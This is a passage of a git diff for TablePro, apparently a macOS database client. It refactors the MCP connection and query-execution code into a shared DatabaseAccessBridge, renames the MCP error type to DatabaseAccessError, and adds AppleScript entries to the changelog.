diff --git a/CHANGELOG.md b/CHANGELOG.md index b2ba0eae4..319700894 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -17,6 +17,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Exclude the AUTO_INCREMENT counter and Exclude DEFINER clauses in the SQL export, both on by default. (#2516) - Jump to Column in the grid, a fuzzy search over the result's columns with their type and position. (#2495) - Connection groups in Switch Connection, with `Cmd`-click to open a saved connection in a new window. (#1311) +- AppleScript dictionary for connections, tabs, results and the grid selection. (#2512) +- AppleScript source in the history drawer's filter and its own notification toggle. (#2512) ### Changed diff --git a/TablePro/Core/Database/Access/DatabaseAccessBridge.swift b/TablePro/Core/Database/Access/DatabaseAccessBridge.swift new file mode 100644 index 000000000..f1ed3b85f --- /dev/null +++ b/TablePro/Core/Database/Access/DatabaseAccessBridge.swift @@ -0,0 +1,250 @@ +// +// DatabaseAccessBridge.swift +// TablePro +// + +import Foundation +import os + +/// Connecting, switching container and running one statement, for a caller that is not a person +/// clicking in the app. +/// +/// MCP, the AI assistant and AppleScript all need the same six operations against `DatabaseManager` +/// and they must agree on every one of them, so they share this rather than each reaching into the +/// manager on its own terms. Everything here is typed: JSON is a wire format that belongs to the +/// MCP transport, and `MCPConnectionBridge` is the layer that encodes these results into it. +/// +/// Authorization is deliberately not here. A caller runs `ExternalStatementGate.authorize` first, +/// which is where safe mode, the connection's external-access level and the destructive-statement +/// confirmation live. This type would otherwise be the second place that decides, and two places +/// that decide are one place that drifts. +internal actor DatabaseAccessBridge { + nonisolated private static let logger = Logger(subsystem: "com.TablePro", category: "DatabaseAccess") + + internal init() {} + + // MARK: - Connect + + internal struct ConnectionSnapshot: Sendable { + internal let serverVersion: String? + internal let database: String + internal let schema: String? + } + + internal struct ConnectionStatusSnapshot: Sendable { + internal let status: ConnectionStatus + internal let database: String + internal let schema: String? + internal let serverVersion: String? + internal let connectedAt: Date + internal let lastActiveAt: Date + } + + internal func connect(connectionId: UUID) async throws -> ConnectionSnapshot { + let connection = try await resolveConnection(connectionId) + + let alreadyLive = await MainActor.run { + DatabaseManager.shared.activeSessions[connectionId]?.driver != nil + } + if !alreadyLive { + try await DatabaseManager.shared.ensureConnected(connection) + } + + let snapshot = await MainActor.run { () -> ConnectionSnapshot? in + guard let session = DatabaseManager.shared.activeSessions[connectionId], + let driver = session.driver + else { + return nil + } + return ConnectionSnapshot( + serverVersion: driver.serverVersion, + database: session.resolvedBrowseDatabase, + schema: session.browseSchema + ) + } + + guard let snapshot else { throw DatabaseAccessError.notConnected(connectionId) } + return snapshot + } + + internal func disconnect(connectionId: UUID) async throws { + let sessionExists = await MainActor.run { + DatabaseManager.shared.activeSessions[connectionId] != nil + } + guard sessionExists else { throw DatabaseAccessError.notConnected(connectionId) } + await DatabaseManager.shared.disconnectSession(connectionId) + } + + internal func connectionStatus(connectionId: UUID) async throws -> ConnectionStatusSnapshot { + let snapshot = await MainActor.run { () -> ConnectionStatusSnapshot? in + guard let session = DatabaseManager.shared.activeSessions[connectionId] else { return nil } + return ConnectionStatusSnapshot( + status: session.reportedStatus, + database: session.resolvedBrowseDatabase, + schema: session.browseSchema, + serverVersion: session.driver?.serverVersion, + connectedAt: session.connectedAt, + lastActiveAt: session.lastActiveAt + ) + } + guard let snapshot else { throw DatabaseAccessError.notConnected(connectionId) } + return snapshot + } + + // MARK: - Resolve + + internal func resolveConnection(_ connectionId: UUID) async throws -> DatabaseConnection { + try await MainActor.run { + let connections = ConnectionStorage.shared.loadConnections() + guard let connection = connections.first(where: { $0.id == connectionId }) else { + throw DatabaseAccessError.notFound( + String(localized: "No saved connection has that id.") + ) + } + return connection + } + } + + internal func resolveDriver(_ connectionId: UUID) async throws -> (DatabaseDriver, DatabaseType) { + let pending: DatabaseConnection? = await MainActor.run { + switch DatabaseManager.shared.connectionState(connectionId) { + case .live: return nil + case .stored(let connection): return connection + case .unknown: return nil + } + } + if let pending { + try await DatabaseManager.shared.ensureConnected(pending) + } + return try await MainActor.run { + switch DatabaseManager.shared.connectionState(connectionId) { + case .live(let driver, let session): + return (driver, session.connection.type) + case .stored, .unknown: + throw DatabaseAccessError.notConnected(connectionId) + } + } + } + + @discardableResult + internal func ensureConnected(_ connectionId: UUID) async throws -> DatabaseType { + let (_, databaseType) = try await resolveDriver(connectionId) + return databaseType + } + + internal func resolveScope(connectionId: UUID, database: String?, schema: String?) async throws -> DatabaseScope { + try await ensureConnected(connectionId) + return try await MainActor.run { + guard let scope = DatabaseManager.shared.resolvedScope( + database: database, + schema: schema, + for: connectionId + ) else { + throw DatabaseAccessError.invalidArgument( + String(localized: "No database to run against. Pass a database name.") + ) + } + return scope + } + } + + internal func switchDatabase(connectionId: UUID, database: String) async throws { + try await DatabaseManager.shared.switchDatabase(to: database, for: connectionId) + } + + internal func switchSchema(connectionId: UUID, schema: String) async throws { + try await DatabaseManager.shared.switchSchema(to: schema, for: connectionId) + } + + // MARK: - Run + + internal struct StatementOutcome: Sendable { + internal let result: QueryResult + internal let executionTimeMs: Double + } + + internal func runStatement( + scope: DatabaseScope, + query: String, + maxRows: Int, + timeoutSeconds: Int, + cancellation: (any StatementCancellationSignal)? + ) async throws -> StatementOutcome { + let databaseType = try await ensureConnected(scope.connectionId) + let normalizedQuery = Self.stripTrailingSemicolons(query) + let classification = QueryClassifier.classify(normalizedQuery, databaseType: databaseType) + let hasReturning = normalizedQuery.range( + of: #"\bRETURNING\b"#, + options: [.regularExpression, .caseInsensitive] + ) != nil + let shouldCap = classification.tier == .safe || hasReturning + let connectionId = scope.connectionId + let policy: DriverCancellationPolicy = classification.tier == .safe ? .cancellableRead : .protectedWrite + + if let cancellation { + await cancellation.onCancelRequested { + await MainActor.run { + try? DatabaseManager.shared.cancelRunningQuery(for: connectionId, reach: .userStop) + } + } + } + + let route = await MainActor.run { DatabaseManager.shared.executionRoute(for: scope) } + let startTime = CFAbsoluteTimeGetCurrent() + + let result = try await withThrowingTaskGroup(of: QueryResult.self) { group in + group.addTask { + try await DatabaseManager.shared.withScopedDriver( + scope: scope, + route: route, + cancellation: policy + ) { driver in + if shouldCap { + return try await driver.executeUserQuery( + query: normalizedQuery, + rowCap: maxRows, + parameters: nil + ) + } + return try await driver.execute(query: normalizedQuery) + } + } + group.addTask { + try await Task.sleep(for: .seconds(timeoutSeconds)) + await MainActor.run { + try? DatabaseManager.shared.cancelRunningQuery(for: connectionId, reach: .userStop) + } + throw DatabaseAccessError.timeout( + String( + format: String(localized: "Query timed out after %d seconds"), + timeoutSeconds + ) + ) + } + guard let first = try await group.next() else { + throw DatabaseAccessError.dataSourceError("No result from query execution") + } + group.cancelAll() + return first + } + + return StatementOutcome(result: result, executionTimeMs: (CFAbsoluteTimeGetCurrent() - startTime) * 1_000) + } + + internal static func stripTrailingSemicolons(_ query: String) -> String { + var result = query.trimmingCharacters(in: .whitespacesAndNewlines) + while result.hasSuffix(";") { + result = String(result.dropLast()) + .trimmingCharacters(in: .whitespacesAndNewlines) + } + return result + } +} + +/// What a transport offers a running statement so its own cancellation reaches the driver. +/// +/// MCP has `notifications/cancelled` and passes its token; AppleScript has no such notification and +/// passes nil, which is why this is optional rather than a required argument. +internal protocol StatementCancellationSignal: Sendable { + func onCancelRequested(_ handler: @escaping @Sendable () async -> Void) async +} diff --git a/TablePro/Core/MCP/MCPDataLayerError.swift b/TablePro/Core/Database/Access/DatabaseAccessError.swift similarity index 92% rename from TablePro/Core/MCP/MCPDataLayerError.swift rename to TablePro/Core/Database/Access/DatabaseAccessError.swift index 422092b69..b4c3fedfc 100644 --- a/TablePro/Core/MCP/MCPDataLayerError.swift +++ b/TablePro/Core/Database/Access/DatabaseAccessError.swift @@ -1,6 +1,6 @@ import Foundation -public enum MCPDataLayerError: Error, Sendable { +public enum DatabaseAccessError: Error, Sendable { case notConnected(UUID) case invalidArgument(String) case forbidden(String, context: [String: String]? = nil) @@ -37,6 +37,6 @@ public enum MCPDataLayerError: Error, Sendable { } } -extension MCPDataLayerError: LocalizedError { +extension DatabaseAccessError: LocalizedError { public var errorDescription: String? { message } } diff --git a/TablePro/Core/MCP/MCPAuthPolicy.swift b/TablePro/Core/MCP/MCPAuthPolicy.swift index 5d2f8f8a1..774c07811 100644 --- a/TablePro/Core/MCP/MCPAuthPolicy.swift +++ b/TablePro/Core/MCP/MCPAuthPolicy.swift @@ -159,14 +159,14 @@ public actor MCPAuthPolicy { return case .denied(let reason): - throw MCPDataLayerError.forbidden(reason) + throw DatabaseAccessError.forbidden(reason) case .deniedInsufficientScope(let required, let reason): throw MCPProtocolError.insufficientScope(required: required, reason: reason) case .requiresUserApproval(let reason): guard let connectionId else { - throw MCPDataLayerError.forbidden(reason) + throw DatabaseAccessError.forbidden(reason) } let approved = try await runApprovalDedup( principal: principal, @@ -179,7 +179,7 @@ public actor MCPAuthPolicy { approved: approved ) guard approved else { - throw MCPDataLayerError.forbidden( + throw DatabaseAccessError.forbidden( String(localized: "User denied MCP access to this connection") ) } @@ -257,7 +257,7 @@ public actor MCPAuthPolicy { ) ) if case .denied(let reason) = decision { - throw MCPDataLayerError.forbidden(reason) + throw DatabaseAccessError.forbidden(reason) } } @@ -342,12 +342,12 @@ public actor MCPAuthPolicy { } group.addTask { try await Task.sleep(for: .seconds(30)) - throw MCPDataLayerError.timeout( + throw DatabaseAccessError.timeout( String(localized: "User approval timed out after 30 seconds") ) } guard let result = try await group.next() else { - throw MCPDataLayerError.dataSourceError("No result from approval prompt") + throw DatabaseAccessError.dataSourceError("No result from approval prompt") } return result } diff --git a/TablePro/Core/MCP/MCPConnectionBridge+Data.swift b/TablePro/Core/MCP/MCPConnectionBridge+Data.swift index ca198e8cf..9fc5c79e3 100644 --- a/TablePro/Core/MCP/MCPConnectionBridge+Data.swift +++ b/TablePro/Core/MCP/MCPConnectionBridge+Data.swift @@ -59,7 +59,7 @@ extension MCPConnectionBridge { } guard let count = outcome.count else { - throw MCPDataLayerError.dataSourceError( + throw DatabaseAccessError.dataSourceError( String(localized: "This engine cannot count rows for that table.") ) } @@ -84,7 +84,7 @@ extension MCPConnectionBridge { let sql = try await DatabaseManager.shared.withMetadataDriver(scope: scope) { driver -> String in let columnInfos = try await driver.fetchColumns(table: request.table, schema: schema) guard !columnInfos.isEmpty else { - throw MCPDataLayerError.notFound( + throw DatabaseAccessError.notFound( String(localized: "That table has no readable columns.") ) } @@ -274,7 +274,7 @@ extension MCPConnectionBridge { let known = Set(available) let unknown = requested.filter { !known.contains($0) }.sorted() guard unknown.isEmpty else { - throw MCPDataLayerError.invalidArgument( + throw DatabaseAccessError.invalidArgument( String( format: String(localized: "Unknown column(s): %@"), unknown.joined(separator: ", ") @@ -333,7 +333,7 @@ extension MCPConnectionBridge { let prefix: String if let variantId { guard let variant = variants.first(where: { $0.id == variantId }) else { - throw MCPDataLayerError.invalidArgument( + throw DatabaseAccessError.invalidArgument( String( format: String(localized: "Unknown explain variant '%@'."), variantId @@ -350,7 +350,7 @@ extension MCPConnectionBridge { } let trimmed = stripTrailingSemicolons(query) guard !trimmed.isEmpty else { - throw MCPDataLayerError.invalidArgument(String(localized: "The query is empty.")) + throw DatabaseAccessError.invalidArgument(String(localized: "The query is empty.")) } guard !QueryClassifier.isExplainStatement(trimmed) else { return trimmed } return "\(prefix) \(trimmed)" diff --git a/TablePro/Core/MCP/MCPConnectionBridge+Schema.swift b/TablePro/Core/MCP/MCPConnectionBridge+Schema.swift index 45f26941f..3094c5658 100644 --- a/TablePro/Core/MCP/MCPConnectionBridge+Schema.swift +++ b/TablePro/Core/MCP/MCPConnectionBridge+Schema.swift @@ -329,7 +329,7 @@ extension MCPConnectionBridge { try await ensureConnected(connectionId) let scope = await MainActor.run { DatabaseManager.shared.browseScope(for: connectionId) } guard let scope else { - throw MCPDataLayerError.notConnected(connectionId) + throw DatabaseAccessError.notConnected(connectionId) } let metadata = try await DatabaseManager.shared.withMetadataDriver( scope: scope, diff --git a/TablePro/Core/MCP/MCPConnectionBridge+Server.swift b/TablePro/Core/MCP/MCPConnectionBridge+Server.swift index 93e4a7e63..f3f930b9e 100644 --- a/TablePro/Core/MCP/MCPConnectionBridge+Server.swift +++ b/TablePro/Core/MCP/MCPConnectionBridge+Server.swift @@ -9,7 +9,7 @@ extension MCPConnectionBridge { try await ensureConnected(connectionId) let driver = await MainActor.run { DatabaseManager.shared.principalDriver(for: connectionId) } guard let driver else { - throw MCPDataLayerError.dataSourceError( + throw DatabaseAccessError.dataSourceError( String(localized: "This engine does not expose users and roles.") ) } @@ -56,7 +56,7 @@ extension MCPConnectionBridge { try await ensureConnected(connectionId) let driver = await MainActor.run { DatabaseManager.shared.principalDriver(for: connectionId) } guard let driver else { - throw MCPDataLayerError.dataSourceError( + throw DatabaseAccessError.dataSourceError( String(localized: "This engine does not expose users and roles.") ) } @@ -83,18 +83,18 @@ extension MCPConnectionBridge { func serverDashboard(connectionId: UUID, panels: Set) async throws -> JsonValue { let databaseType = try await ensureConnected(connectionId) guard ServerDashboardQueryProviderFactory.provider(for: databaseType) != nil else { - throw MCPDataLayerError.dataSourceError( + throw DatabaseAccessError.dataSourceError( String(localized: "TablePro has no server dashboard for this engine.") ) } let scope = await MainActor.run { DatabaseManager.shared.browseScope(for: connectionId) } guard let scope else { - throw MCPDataLayerError.notConnected(connectionId) + throw DatabaseAccessError.notConnected(connectionId) } return try await DatabaseManager.shared.withMetadataDriver(scope: scope) { driver in guard let provider = ServerDashboardQueryProviderFactory.provider(for: databaseType) else { - throw MCPDataLayerError.dataSourceError( + throw DatabaseAccessError.dataSourceError( String(localized: "TablePro has no server dashboard for this engine.") ) } @@ -150,7 +150,7 @@ extension MCPConnectionBridge { ) async throws -> String { let databaseType = try await ensureConnected(connectionId) guard let provider = ServerDashboardQueryProviderFactory.provider(for: databaseType) else { - throw MCPDataLayerError.dataSourceError( + throw DatabaseAccessError.dataSourceError( String(localized: "TablePro has no server dashboard for this engine.") ) } @@ -158,7 +158,7 @@ extension MCPConnectionBridge { ? provider.cancelQuerySQL(processId: processId) : provider.killSessionSQL(processId: processId) guard let sql else { - throw MCPDataLayerError.dataSourceError( + throw DatabaseAccessError.dataSourceError( String(localized: "This engine cannot stop a session from TablePro.") ) } @@ -188,7 +188,7 @@ extension MCPConnectionBridge { .maintenanceStatements(operation: operation, table: table, options: options) } guard let statements, !statements.isEmpty else { - throw MCPDataLayerError.invalidArgument( + throw DatabaseAccessError.invalidArgument( String(localized: "That maintenance operation is not available on this connection.") ) } @@ -199,7 +199,7 @@ extension MCPConnectionBridge { try await ensureConnected(connectionId) let scope = await MainActor.run { DatabaseManager.shared.browseScope(for: connectionId) } guard let scope else { - throw MCPDataLayerError.notConnected(connectionId) + throw DatabaseAccessError.notConnected(connectionId) } let contexts = try await DatabaseManager.shared.withMetadataDriver(scope: scope) { driver in try await driver.fetchSessionContexts() @@ -224,7 +224,7 @@ extension MCPConnectionBridge { DatabaseManager.shared.driver(for: scope.connectionId)?.supportsTransactions ?? false } guard supported else { - throw MCPDataLayerError.dataSourceError( + throw DatabaseAccessError.dataSourceError( String(localized: "This engine does not support transactions.") ) } @@ -238,7 +238,7 @@ extension MCPConnectionBridge { case "commit": try await driver.commitTransaction() case "rollback": try await driver.rollbackTransaction() default: - throw MCPDataLayerError.invalidArgument( + throw DatabaseAccessError.invalidArgument( String(localized: "Transaction action must be begin, commit, or rollback.") ) } @@ -250,7 +250,7 @@ extension MCPConnectionBridge { try await ensureConnected(connectionId) let scope = await MainActor.run { DatabaseManager.shared.browseScope(for: connectionId) } guard let scope else { - throw MCPDataLayerError.notConnected(connectionId) + throw DatabaseAccessError.notConnected(connectionId) } let snapshot = try await DatabaseManager.shared.withMetadataDriver( diff --git a/TablePro/Core/MCP/MCPConnectionBridge.swift b/TablePro/Core/MCP/MCPConnectionBridge.swift index d27fbee72..30508838f 100644 --- a/TablePro/Core/MCP/MCPConnectionBridge.swift +++ b/TablePro/Core/MCP/MCPConnectionBridge.swift @@ -2,9 +2,16 @@ import Foundation import os import TableProPluginKit +/// The MCP wire encoding over `DatabaseAccessBridge`. +/// +/// Connecting, switching container and running a statement live one layer down, where every +/// programmatic caller reaches them. What is left here is the part that is genuinely MCP's: turning +/// those results into the `JsonValue` shapes the tools and resources are specified in. public actor MCPConnectionBridge { static let logger = Logger(subsystem: "com.TablePro", category: "MCPConnectionBridge") + private let access = DatabaseAccessBridge() + public init() {} func listConnections(principal: MCPPrincipal) async -> JsonValue { @@ -52,81 +59,32 @@ public actor MCPConnectionBridge { } func connect(connectionId: UUID) async throws -> JsonValue { - let connection = try await resolveConnection(connectionId) - - let alreadyLive = await MainActor.run { - DatabaseManager.shared.activeSessions[connectionId]?.driver != nil - } - if !alreadyLive { - try await DatabaseManager.shared.ensureConnected(connection) - } - - let snapshot = await MainActor.run { () -> (String?, String, String?)? in - guard let session = DatabaseManager.shared.activeSessions[connectionId], - session.driver != nil - else { - return nil - } - return (session.driver?.serverVersion, session.resolvedBrowseDatabase, session.browseSchema) - } - - guard let snapshot else { - throw MCPDataLayerError.notConnected(connectionId) - } + let snapshot = try await access.connect(connectionId: connectionId) var result: [String: JsonValue] = [ "status": .string("connected"), "connection_id": .string(connectionId.uuidString), - "current_database": .string(snapshot.1) + "current_database": .string(snapshot.database) ] - if let version = snapshot.0 { + if let version = snapshot.serverVersion { result["server_version"] = .string(version) } - if let schema = snapshot.2 { + if let schema = snapshot.schema { result["current_schema"] = .string(schema) } return .object(result) } func disconnect(connectionId: UUID) async throws -> JsonValue { - let sessionExists = await MainActor.run { - DatabaseManager.shared.activeSessions[connectionId] != nil - } - guard sessionExists else { - throw MCPDataLayerError.notConnected(connectionId) - } - await DatabaseManager.shared.disconnectSession(connectionId) + try await access.disconnect(connectionId: connectionId) return .object([ "status": .string("disconnected"), "connection_id": .string(connectionId.uuidString) ]) } - struct ConnectionStatusSnapshot: Sendable { - let status: ConnectionStatus - let database: String - let schema: String? - let serverVersion: String? - let connectedAt: Date - let lastActiveAt: Date - } - func getConnectionStatus(connectionId: UUID) async throws -> JsonValue { - let snapshot = await MainActor.run { () -> ConnectionStatusSnapshot? in - guard let session = DatabaseManager.shared.activeSessions[connectionId] else { return nil } - return ConnectionStatusSnapshot( - status: session.reportedStatus, - database: session.resolvedBrowseDatabase, - schema: session.browseSchema, - serverVersion: session.driver?.serverVersion, - connectedAt: session.connectedAt, - lastActiveAt: session.lastActiveAt - ) - } - - guard let snapshot else { - throw MCPDataLayerError.notConnected(connectionId) - } + let snapshot = try await access.connectionStatus(connectionId: connectionId) let statusString: String var errorDetail: JsonValue? @@ -159,23 +117,11 @@ public actor MCPConnectionBridge { } func resolveScope(connectionId: UUID, database: String?, schema: String?) async throws -> DatabaseScope { - try await ensureConnected(connectionId) - return try await MainActor.run { - guard let scope = DatabaseManager.shared.resolvedScope( - database: database, - schema: schema, - for: connectionId - ) else { - throw MCPDataLayerError.invalidArgument( - String(localized: "No database to run against. Pass a database name.") - ) - } - return scope - } + try await access.resolveScope(connectionId: connectionId, database: database, schema: schema) } func switchDatabase(connectionId: UUID, database: String) async throws -> JsonValue { - try await DatabaseManager.shared.switchDatabase(to: database, for: connectionId) + try await access.switchDatabase(connectionId: connectionId, database: database) return .object([ "status": .string("switched"), "connection_id": .string(connectionId.uuidString), @@ -184,7 +130,7 @@ public actor MCPConnectionBridge { } func switchSchema(connectionId: UUID, schema: String) async throws -> JsonValue { - try await DatabaseManager.shared.switchSchema(to: schema, for: connectionId) + try await access.switchSchema(connectionId: connectionId, schema: schema) return .object([ "status": .string("switched"), "connection_id": .string(connectionId.uuidString), @@ -220,65 +166,14 @@ public actor MCPConnectionBridge { timeoutSeconds: Int, cancellation: MCPCancellationToken? ) async throws -> (result: QueryResult, executionTimeMs: Double) { - let databaseType = try await ensureConnected(scope.connectionId) - let normalizedQuery = Self.stripTrailingSemicolons(query) - let classification = QueryClassifier.classify(normalizedQuery, databaseType: databaseType) - let hasReturning = normalizedQuery.range( - of: #"\bRETURNING\b"#, - options: [.regularExpression, .caseInsensitive] - ) != nil - let shouldCap = classification.tier == .safe || hasReturning - let connectionId = scope.connectionId - let policy: DriverCancellationPolicy = classification.tier == .safe ? .cancellableRead : .protectedWrite - - if let cancellation { - await cancellation.onCancel { _ in - await MainActor.run { - try? DatabaseManager.shared.cancelRunningQuery(for: connectionId, reach: .userStop) - } - } - } - - let route = await MainActor.run { DatabaseManager.shared.executionRoute(for: scope) } - let startTime = CFAbsoluteTimeGetCurrent() - - let result = try await withThrowingTaskGroup(of: QueryResult.self) { group in - group.addTask { - try await DatabaseManager.shared.withScopedDriver( - scope: scope, - route: route, - cancellation: policy - ) { driver in - if shouldCap { - return try await driver.executeUserQuery( - query: normalizedQuery, - rowCap: maxRows, - parameters: nil - ) - } - return try await driver.execute(query: normalizedQuery) - } - } - group.addTask { - try await Task.sleep(for: .seconds(timeoutSeconds)) - await MainActor.run { - try? DatabaseManager.shared.cancelRunningQuery(for: connectionId, reach: .userStop) - } - throw MCPDataLayerError.timeout( - String( - format: String(localized: "Query timed out after %d seconds"), - timeoutSeconds - ) - ) - } - guard let first = try await group.next() else { - throw MCPDataLayerError.dataSourceError("No result from query execution") - } - group.cancelAll() - return first - } - - return (result, (CFAbsoluteTimeGetCurrent() - startTime) * 1_000) + let outcome = try await access.runStatement( + scope: scope, + query: query, + maxRows: maxRows, + timeoutSeconds: timeoutSeconds, + cancellation: cancellation + ) + return (outcome.result, outcome.executionTimeMs) } static func encode(result: QueryResult, scope: DatabaseScope, executionTimeMs: Double) -> JsonValue { @@ -311,50 +206,25 @@ public actor MCPConnectionBridge { static let iso8601 = OSAllocatedUnfairLock(uncheckedState: ISO8601DateFormatter()) func resolveDriver(_ connectionId: UUID) async throws -> (DatabaseDriver, DatabaseType) { - let pending: DatabaseConnection? = await MainActor.run { - switch DatabaseManager.shared.connectionState(connectionId) { - case .live: return nil - case .stored(let connection): return connection - case .unknown: return nil - } - } - if let pending { - try await DatabaseManager.shared.ensureConnected(pending) - } - return try await MainActor.run { - switch DatabaseManager.shared.connectionState(connectionId) { - case .live(let driver, let session): - return (driver, session.connection.type) - case .stored, .unknown: - throw MCPDataLayerError.notConnected(connectionId) - } - } + try await access.resolveDriver(connectionId) } @discardableResult func ensureConnected(_ connectionId: UUID) async throws -> DatabaseType { - let (_, databaseType) = try await resolveDriver(connectionId) - return databaseType + try await access.ensureConnected(connectionId) } func resolveConnection(_ connectionId: UUID) async throws -> DatabaseConnection { - try await MainActor.run { - let connections = ConnectionStorage.shared.loadConnections() - guard let connection = connections.first(where: { $0.id == connectionId }) else { - throw MCPDataLayerError.notFound( - String(localized: "No saved connection has that id.") - ) - } - return connection - } + try await access.resolveConnection(connectionId) } static func stripTrailingSemicolons(_ query: String) -> String { - var result = query.trimmingCharacters(in: .whitespacesAndNewlines) - while result.hasSuffix(";") { - result = String(result.dropLast()) - .trimmingCharacters(in: .whitespacesAndNewlines) - } - return result + DatabaseAccessBridge.stripTrailingSemicolons(query) + } +} + +extension MCPCancellationToken: StatementCancellationSignal { + func onCancelRequested(_ handler: @escaping @Sendable () async -> Void) async { + await onCancel { _ in await handler() } } } diff --git a/TablePro/Core/MCP/MCPPairingService.swift b/TablePro/Core/MCP/MCPPairingService.swift index 308608fe7..2430efc5c 100644 --- a/TablePro/Core/MCP/MCPPairingService.swift +++ b/TablePro/Core/MCP/MCPPairingService.swift @@ -22,7 +22,7 @@ actor PairingExchangeStore { func insert(code: String, record: PairingExchangeRecord) throws { prune(now: Date.now) guard pending.count < Self.maxPendingCodes else { - throw MCPDataLayerError.forbidden( + throw DatabaseAccessError.forbidden( String(localized: "Too many pending pairing codes. Try again later.") ) } @@ -32,19 +32,19 @@ actor PairingExchangeStore { func consume(code: String, verifier: String, now: Date = .now) throws -> PairingExchangeRecord { guard let entry = pending[code] else { prune(now: now) - throw MCPDataLayerError.notFound("pairing code") + throw DatabaseAccessError.notFound("pairing code") } guard entry.expiresAt > now else { pending.removeValue(forKey: code) prune(now: now) - throw MCPDataLayerError.expired("pairing code") + throw DatabaseAccessError.expired("pairing code") } let computed = Self.sha256Base64Url(of: verifier) guard Self.constantTimeEqual(entry.challenge, computed) else { pending.removeValue(forKey: code) - throw MCPDataLayerError.forbidden("challenge mismatch") + throw DatabaseAccessError.forbidden("challenge mismatch") } pending.removeValue(forKey: code) @@ -133,20 +133,20 @@ final class MCPPairingService { ip: MCPClientAddress.loopback.displayValue, reason: error.reason ) - throw MCPDataLayerError.invalidArgument(error.localizedMessage) + throw DatabaseAccessError.invalidArgument(error.localizedMessage) } await MCPServerManager.shared.lazyStart() guard let tokenStore = MCPServerManager.shared.tokenStore else { Self.logger.error("Token store unavailable after lazyStart") - throw MCPDataLayerError.dataSourceError("Token store unavailable") + throw DatabaseAccessError.dataSourceError("Token store unavailable") } let approval: PairingApproval do { approval = try await AlertHelper.runPairingApproval(request: request) - } catch let error as MCPDataLayerError where error.isUserCancelled { + } catch let error as DatabaseAccessError where error.isUserCancelled { Self.logger.info("Pairing denied for client '\(request.clientName, privacy: .public)'") if let redirect = buildErrorRedirect( base: target.url, @@ -186,7 +186,7 @@ final class MCPPairingService { Self.logger.error("Failed to build pairing redirect URL") await store.discard(code: code) await tokenStore.delete(tokenId: result.token.id) - throw MCPDataLayerError.invalidArgument("redirect URL") + throw DatabaseAccessError.invalidArgument("redirect URL") } Self.logger.info( @@ -215,7 +215,7 @@ final class MCPPairingService { } catch let error as PairingValidationError { await store.discard(code: exchange.code) _ = await rateLimiter.recordAttempt(key: key, success: false) - throw MCPDataLayerError.invalidArgument(error.localizedMessage) + throw DatabaseAccessError.invalidArgument(error.localizedMessage) } do { diff --git a/TablePro/Core/MCP/Prompts/MCPPromptSchemaReader.swift b/TablePro/Core/MCP/Prompts/MCPPromptSchemaReader.swift index 20bdde1cb..952c10e56 100644 --- a/TablePro/Core/MCP/Prompts/MCPPromptSchemaReader.swift +++ b/TablePro/Core/MCP/Prompts/MCPPromptSchemaReader.swift @@ -261,7 +261,7 @@ struct MCPPromptSchemaReader: Sendable { } private static func mapped(_ error: Error) -> Error { - guard let dataLayerError = error as? MCPDataLayerError else { return error } + guard let dataLayerError = error as? DatabaseAccessError else { return error } switch dataLayerError { case .invalidArgument(let detail): return MCPProtocolError.invalidParams(detail: detail) diff --git a/TablePro/Core/MCP/Protocol/Handlers/ResourcesReadHandler.swift b/TablePro/Core/MCP/Protocol/Handlers/ResourcesReadHandler.swift index 5a48e3a74..156ca3e3d 100644 --- a/TablePro/Core/MCP/Protocol/Handlers/ResourcesReadHandler.swift +++ b/TablePro/Core/MCP/Protocol/Handlers/ResourcesReadHandler.swift @@ -60,7 +60,7 @@ public struct ResourcesReadHandler: MCPMethodHandler { ) } return try await payload(for: route, principal: context.principal, services: services) - } catch let error as MCPDataLayerError { + } catch let error as DatabaseAccessError { throw mapDomainError(error) } } @@ -115,7 +115,7 @@ public struct ResourcesReadHandler: MCPMethodHandler { ]) } - private static func mapDomainError(_ error: MCPDataLayerError) -> MCPProtocolError { + private static func mapDomainError(_ error: DatabaseAccessError) -> MCPProtocolError { switch error { case .invalidArgument(let detail): return .invalidParams(detail: detail) diff --git a/TablePro/Core/MCP/Protocol/Handlers/ToolsCallHandler.swift b/TablePro/Core/MCP/Protocol/Handlers/ToolsCallHandler.swift index c7fd2d44a..f5e5d18de 100644 --- a/TablePro/Core/MCP/Protocol/Handlers/ToolsCallHandler.swift +++ b/TablePro/Core/MCP/Protocol/Handlers/ToolsCallHandler.swift @@ -87,7 +87,7 @@ public struct ToolsCallHandler: MCPMethodHandler { connectionId: connectionId, sql: Self.sqlArgument(in: arguments) ) - } catch let error as MCPDataLayerError { + } catch let error as DatabaseAccessError { Self.audit( context: context, tool: toolName, diff --git a/TablePro/Core/MCP/Protocol/Tools/ExplainQueryTool.swift b/TablePro/Core/MCP/Protocol/Tools/ExplainQueryTool.swift index a30dfe5a7..e04e27b38 100644 --- a/TablePro/Core/MCP/Protocol/Tools/ExplainQueryTool.swift +++ b/TablePro/Core/MCP/Protocol/Tools/ExplainQueryTool.swift @@ -101,7 +101,7 @@ public struct ExplainQueryTool: MCPToolImplementation { variantId: variant, analyze: analyze ) - } catch let error as MCPDataLayerError { + } catch let error as DatabaseAccessError { throw MCPToolExecutionError.from(error, secrets: meta.redactionSecrets) } diff --git a/TablePro/Core/MCP/Protocol/Tools/MCPErrorRedactor.swift b/TablePro/Core/MCP/Protocol/Tools/MCPErrorRedactor.swift index a5293b5ce..b5f466803 100644 --- a/TablePro/Core/MCP/Protocol/Tools/MCPErrorRedactor.swift +++ b/TablePro/Core/MCP/Protocol/Tools/MCPErrorRedactor.swift @@ -41,7 +41,7 @@ enum MCPErrorRedactor { if let toolError = error as? MCPToolExecutionError { return redact(toolError.message, secrets: secrets) } - if let dataError = error as? MCPDataLayerError { + if let dataError = error as? DatabaseAccessError { return redact(dataError.message, secrets: secrets) } if let databaseError = error as? DatabaseError { diff --git a/TablePro/Core/MCP/Protocol/Tools/MCPStatementGate.swift b/TablePro/Core/MCP/Protocol/Tools/MCPStatementGate.swift index 3a29e6f89..d262af9e4 100644 --- a/TablePro/Core/MCP/Protocol/Tools/MCPStatementGate.swift +++ b/TablePro/Core/MCP/Protocol/Tools/MCPStatementGate.swift @@ -12,38 +12,18 @@ enum MCPStatementGate { context: MCPRequestContext, services: MCPToolServices ) async throws -> QueryClassification { - let classification = QueryClassifier.classify(sql, databaseType: meta.databaseType) - - guard !classification.reachesFilesystemOrExecutesCode else { - throw MCPToolExecutionError.denied( - String( - localized: """ - Statements that read or write files, or that run server-side code, cannot be sent \ - through MCP. Run this one in TablePro instead. - """ - ) - ) - } - - if 